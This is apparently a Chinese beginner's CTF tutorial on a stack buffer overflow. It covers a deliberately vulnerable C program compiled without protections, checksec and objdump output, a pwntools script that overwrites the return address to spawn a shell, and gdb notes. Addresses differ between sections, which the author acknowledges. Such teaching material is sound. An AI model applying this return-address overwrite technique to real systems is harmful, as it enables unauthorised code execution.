人生一pwn(入门训练)
提示:本文实验非一次完成,前后修改多次代码所以文中函数名、进程名等信息前后有所出入。
1、环境:
gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)
2、安装内容及命令:
安装pip
apt install python-pip
安装pwntools
pip install pwntools
3、溢出程序
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void you_can_bof()
{
execve("/bin/sh",(char *[]){0},(char *[]){0});
}
int main()
{
char buf[16];
puts("This is your first bof challenge:)");
fflush(stdout);
read(0,buf,0x30);
return 0;
}
4、编译:
gcc -g -fno-stack-protector -z execstack -no-pie -o bof bof.c
5、检查保护措施
checksec bof
[*] '/home/done/ctf/bof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
6、反汇编bof程序
命令:
objdump -d bof
查看调用函数“you_can_bof”的地址为 0x400607
0000000000400607 <you_can_bof>: 400607: 55 push %rbp 400608: 48 89 e5 mov %rsp,%rbp 40060b: 48 83 ec 10 sub $0x10,%rsp 40060f: 48 c7 45 f0 00 00 00 movq $0x0,-0x10(%rbp) 400616: 00 400617: 48 c7 45 f8 00 00 00 movq $0x0,-0x8(%rbp) 40061e: 00 40061f: 48 8d 55 f0 lea -0x10(%rbp),%rdx 400623: 48 8d 45 f8 lea -0x8(%rbp),%rax 400627: 48 89 c6 mov %rax,%rsi 40062a: 48 8d 3d d7 00 00 00 lea 0xd7(%rip),%rdi # 400708 <_IO_stdin_used+0x8> 400631: e8 ca fe ff ff callq 400500 <execve@plt> 400636: 90 nop 400637: c9 leaveq 400638: c3 retq 0000000000400639 <main>: 400639: 55 push %rbp 40063a: 48 89 e5 mov %rsp,%rbp 40063d: 48 83 ec 10 sub $0x10,%rsp 400641: 48 8d 3d c8 00 00 00 lea 0xc8(%rip),%rdi # 400710 <_IO_stdin_used+0x10> 400648: e8 93 fe ff ff callq 4004e0 <puts@plt> 40064d: 48 8b 05 f4 09 20 00 mov 0x2009f4(%rip),%rax # 601048 <stdout@@GLIBC_2.2.5> 400654: 48 89 c7 mov %rax,%rdi 400657: e8 b4 fe ff ff callq 400510 <fflush@plt> 40065c: 48 8d 45 f0 lea -0x10(%rbp),%rax 400660: ba 30 00 00 00 mov $0x30,%edx 400665: 48 89 c6 mov %rax,%rsi 400668: bf 00 00 00 00 mov $0x0,%edi 40066d: e8 7e fe ff ff callq 4004f0 <read@plt> 400672: b8 00 00 00 00 mov $0x0,%eax 400677: c9 leaveq 400678: c3 retq 400679: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
7、exp代码
from pwn import * r=process("./bof") r.recvuntil(":)") sh=0x400607 #“you_can_bof”函数地址 p='a'*16+'b'*8+p64(sh) #16位覆盖 bof的buf缓冲区,8位覆盖栈上rsp内容,最后使用p64()函数编码“you_can_bof”地址 print(p) r.send(p) r.interactive()
8、执行exp
python exp.py
结果:
python exp.py [+] Starting local process './bof': pid 6423 aaaaaaaaaaaaaaaabbbbbbbb\x07@\x00\x00\x00 [*] Switching to interactive mode $ whoami root
9、gdb调试
查看当前栈数据,地址“0x7ffdfdb16f28”为正常的返回地址

反汇编命令 disassemb main

对执行完read函数后的位置“0x0000000000401209”下断点
b * 0x0000000000401209
“c”命令继续执行
覆盖堆栈后数据,代码段地址"0x0000000000401204"地址处的read函数已经执行完毕,栈地址“0x7ffdfdb16f28”(返回地址)被覆盖为“0x401196”(要执行的函数地址)。备注:下图peda插件显示的栈指向数据包含附近数据

之后代码执行了将$rip指向返回地址,从0x401196继续执行相应的返回给exp.py一个shell会话



浙公网安备 33010602011771号